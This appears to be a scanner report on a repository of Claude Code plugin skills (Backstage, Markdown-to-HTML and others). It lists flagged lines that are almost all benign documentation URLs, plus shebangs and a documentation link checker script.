  • Network accessline 73
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 74
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/claude-code/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md

  • Network accessline 74
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 75
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 76
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/claude-code/plugins/backstage-expert/skills/backstage-notifications/SKILL.md

  • Network accessline 62
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 63
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 64
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/claude-code/plugins/backstage-expert/skills/backstage-permissions/SKILL.md

  • Network accessline 71
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 72
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/claude-code/plugins/backstage-expert/skills/backstage-plugins/SKILL.md

  • Network accessline 63
    - [New frontend plugin system](https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md)
  • Network accessline 64
    - [New backend plugins and modules](https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md)

harness/claude-code/plugins/backstage-expert/skills/backstage-search/SKILL.md

  • Network accessline 68
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 69
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 70
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/career-productivity/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/career-productivity/skills/brag-sheet/SKILL.md

  • Network accessline 203
    - [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)

harness/claude-code/plugins/career-productivity/skills/meeting-minutes/SKILL.md

  • Network accessline 67
    | Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f
  • Network accessline 68
    | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu
  • Network accessline 69
    | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |

harness/claude-code/plugins/cast-imaging/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/chromium-control-canvas/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Andrea Griffiths",     "url": "https://github.com/AndreaGriffiths11"
  • Network accessline 6
    "name": "Andrea Griffiths",     "url": "https://github.com/AndreaGriffiths11"   },
  • Network accessline 7
    "url": "https://github.com/AndreaGriffiths11"

harness/claude-code/plugins/clojure-interactive-programming/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/cms-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/cms-development/skills/markdown-to-html/SKILL.md

  • Network accessline 17
    Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno
  • Network accessline 42
    One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`.
  • Network accessline 69
    <p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code>&lt;p&gt;paragraph tag&lt;/p&gt;</code>.</p>

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/basic-markdown-to-html.md

  • Network accessline 240
    [GitHub Pages](https://pages.github.com/)
  • Network accessline 246
    <a href="https://pages.github.com/">GitHub Pages</a>
  • Network accessline 348
    <a href="https://docs.github.com/en/support" class="user-mention">@github/support</a>

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/basic-markdown.md

  • Network accessline 15
    ![Screenshot of rendered GitHub Markdown showing sample h1, h2, and h3 headers, which descend in type size and visual weight to show hierarchy level.](https://docs.github.com/assets/images/help/writing/headings-rendered.png)
  • Network accessline 19
    ![Screenshot of a README file with the drop-down menu for the table of contents exposed. The table of contents icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/headings-toc.png)
  • Network accessline 48
    ![Screenshot of rendered GitHub Markdown showing the difference between normal and quoted text.](https://docs.github.com/assets/images/help/writing/quoted-text-rendered.png)
  • Network accessline 50
    > \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1
  • Network accessline 51
    > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class
  • Network accessline 61
    ![Screenshot of rendered GitHub Markdown showing that characters surrounded by backticks are shown in a fixed-width typeface, highlighted in light gray.](https://docs.github.com/assets/images/help/writing/inline-code-rendered.png)
  • Network accessline 74
    ![Screenshot of rendered GitHub Markdown showing a simple code block without syntax highlighting.](https://docs.github.com/assets/images/help/writing/code-block-rendered.png)
  • Network accessline 76
    For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
  • Network accessline 78
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star
  • Network accessline 88
    ![Screenshot of rendered GitHub Markdown showing how HEX values within backticks create small circles of color, here white and then black.](https://docs.github.com/assets/images/help/writing/supported-color-models-rendered.png)
  • Network accessline 92
    | Color | Syntax                      | Example                             | Output                                                                                                                                                            
  • Network accessline 93
    | ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------
  • Network accessline 94
    | HEX   | <code>\`#RRGGBB\`</code>    | <code>\`#0969DA\`</code>            | ![Screenshot of rendered GitHub Markdown showing how HEX value #0969DA appears with a blue circle.](https://docs.github.com/assets/images/help/writing/supported-c
  • Network accessline 95
    | RGB   | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code>   | ![Screenshot of rendered GitHub Markdown showing how RGB value 9, 105, 218 appears with a blue circle.](https://docs.github.com/assets/images/help/writing/support
  • Network accessline 96
    | HSL   | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Screenshot of rendered GitHub Markdown showing how HSL value 212, 92%, 45% appears with a blue circle.](https://docs.github.com/assets/images/help/writing/suppo
  • Network accessline 109
    `This site was built using [GitHub Pages](https://pages.github.com/).`
  • Network accessline 111
    ![Screenshot of rendered GitHub Markdown showing how text within brackets, "GitHub Pages," appears as a blue hyperlink.](https://docs.github.com/assets/images/help/writing/link-rendered.png)
  • Network accessline 113
    > \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a
  • Network accessline 114
    > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r
  • Network accessline 120
    ![Screenshot of a README for a repository. To the left of a section heading, a link icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/readme-links.png)
  • Network accessline 130
    For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5).
  • Network accessline 255
    `![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://myoctocat.com/assets/images/base-octocat.svg)`
  • Network accessline 257
    ![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://docs.github.com/assets/images/help/writing/image-rendered.png)
  • Network accessline 293
    ![Screenshot of rendered GitHub Markdown showing a bulleted list of the names of the first three American presidents.](https://docs.github.com/assets/images/help/writing/unordered-list-rendered.png)
  • Network accessline 303
    ![Screenshot of rendered GitHub Markdown showing a numbered list of the names of the fourth, fifth, and sixth American presidents.](https://docs.github.com/assets/images/help/writing/ordered-list-rendered.png)
  • Network accessline 309
    To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested 
  • Network accessline 320
    ![Screenshot of Markdown in Visual Studio Code showing indentation of nested numbered lines and bullets.](https://docs.github.com/assets/images/help/writing/nested-list-alignment.png)
  • Network accessline 322
    ![Screenshot of rendered GitHub Markdown showing a numbered item followed by nested bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-1.png)
  • Network accessline 333
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by a bulleted item nested one level.](https://docs.github.com/assets/images/help/writing/nested-list-example-3.png)
  • Network accessline 343
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-2.png)
  • Network accessline 345
    For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
  • Network accessline 352
    - [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 353
    - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 357
    ![Screenshot showing the rendered version of the markdown. The references to issues are rendered as issue titles.](https://docs.github.com/assets/images/help/writing/task-list-rendered-simple.png)
  • Network accessline 363
    For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists).
  • Network accessline 367
    You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the 
  • Network accessline 374
    ![Screenshot of rendered GitHub Markdown showing how the team mention "@github/support" renders as bold, clickable text.](https://docs.github.com/assets/images/help/writing/mention-rendered.png)
  • Network accessline 376
    When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o
  • Network accessline 386
    For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls).
  • Network accessline 390
    If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo
  • Network accessline 402
    ![Screenshot of rendered GitHub Markdown showing how emoji codes for +1 and shipit render visually as emoji.](https://docs.github.com/assets/images/help/writing/emoji-rendered.png)
  • Network accessline 406
    For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md).
  • Network accessline 428
    ![Screenshot of rendered Markdown showing superscript numbers used to indicate footnotes, along with optional line breaks inside a note.](https://docs.github.com/assets/images/help/writing/footnote-rendered.png)
  • Network accessline 460
    ![Screenshot of rendered Markdown alerts showing how Note, Tip, Important, Warning, and Caution render with different colored text and icons.](https://docs.github.com/assets/images/help/writing/alerts-rendered.png)
  • Network accessline 476
    ![Screenshot of rendered GitHub Markdown showing how backslashes prevent the conversion of asterisks to italics.](https://docs.github.com/assets/images/help/writing/escaped-character-rendered.png)
  • Network accessline 478
    For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash).
  • Network accessline 487
    ![Screenshot of a Markdown file in a repository showing options for interacting with the file. A button, labeled "Code", is outlined in dark orange.](https://docs.github.com/assets/images/help/writing/display-markdown-as-source-global-nav-u
  • Network accessline 493
    *[GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 494
    *[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github)
  • Network accessline 495
    *[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting)
  • Network accessline 496
    *[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/code-blocks-to-html.md

  • Network accessline 117
    [About writing and formatting on GitHub](https://docs.github.com/...)
  • Network accessline 121
    <a href="https://docs.github.com/...">About writing and formatting on GitHub</a>
  • Network accessline 129
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 133
    <ul>   <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
  • Network accessline 134
    <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>   </li>
  • Network accessline 135
    <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/code-blocks.md

  • Network accessline 17
    ![Screenshot of rendered GitHub Markdown showing the use of triple backticks to create code blocks. The block begins with "function test() {."](https://docs.github.com/assets/images/help/writing/fenced-code-block-rendered.png)
  • Network accessline 32
    ![Screenshot of rendered Markdown showing that when you write triple backticks between quadruple backticks they are visible in the rendered content.](https://docs.github.com/assets/images/help/writing/fenced-code-show-backticks-rendered.png
  • Network accessline 34
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 56
    ![Screenshot of three lines of Ruby code as displayed on GitHub. Elements of the code display in purple, blue, and red type for scannability.](https://docs.github.com/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
  • Network accessline 58
    > \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa
  • Network accessline 59
    > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin
  • Network accessline 61
    We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find 
  • Network accessline 65
    You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with-
  • Network accessline 69
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 70
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/collapsed-sections.md

  • Network accessline 33
    ![Screenshot of the Markdown above on this page as rendered on GitHub, showing a right-facing arrow and the header "Tips for collapsed sections."](https://docs.github.com/assets/images/help/writing/collapsed-section-view.png)
  • Network accessline 37
    ![Screenshot of the Markdown above on this page as rendered on GitHub. The collapsed section contains headers, text, images, and code blocks.](https://docs.github.com/assets/images/help/writing/open-collapsed-section.png)
  • Network accessline 47
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 48
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/claude-code/plugins/cms-development/skills/markdown-to-html/references/extended-guide.md

  • Network accessline 12
    ```html     <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 13
    <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">       <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt>
  • Network accessline 14
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 29
    <p><strong>The Cauchy-Schwarz Inequality</strong><br>      <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 30
    <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">        <msup>
  • Network accessline 31
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 180
    - [DOMPurify](https://github.com/cure53/DOMPurify) (recommended)
  • Network accessline 181
    - [sanitize-html](https://github.com/apostrophecms/sanitize-html)
  • Network accessline 182
    - [js-xss](https://github.com/leizongmin/js-xss)
  • Network accessline 206
    - Pandoc installed (download from <https://pandoc.org/installing.html>)
  • Network accessline 402
    Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday)
  • Network accessline 447
    # Access at http://localhost:4000
  • Network accessline 538
    - Hugo installed (download from <https://gohugo.io/installation/>)
  • Network accessline 553
    # Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 554
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 555
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 584
    # Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 585
    hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 682
    - [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 683
    - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 684
    - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 685
    - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 689
    - Official documentation: <https://marked.js.org/>
  • Network accessline 690
    - Advanced options: <https://marked.js.org/using_advanced>
  • Network accessline 691
    - Extensibility: <https://marked.js.org/using_pro>
  • Network accessline 692
    - GitHub repository: <https://github.com/markedjs/marked>
  • Network accessline 696
    - Getting started: <https://pandoc.org/getting-started.html>
  • Network accessline 697
    - Official documentation: <https://pandoc.org/MANUAL.html>
  • Network accessline 698
    - Extensibility: <https://pandoc.org/extras.html>
  • Network accessline 699
    - GitHub repository: <https://github.com/jgm/pandoc>
  • Network accessline 703
    - Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown>
  • Network accessline 704
    - Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html>
  • Network accessline 705
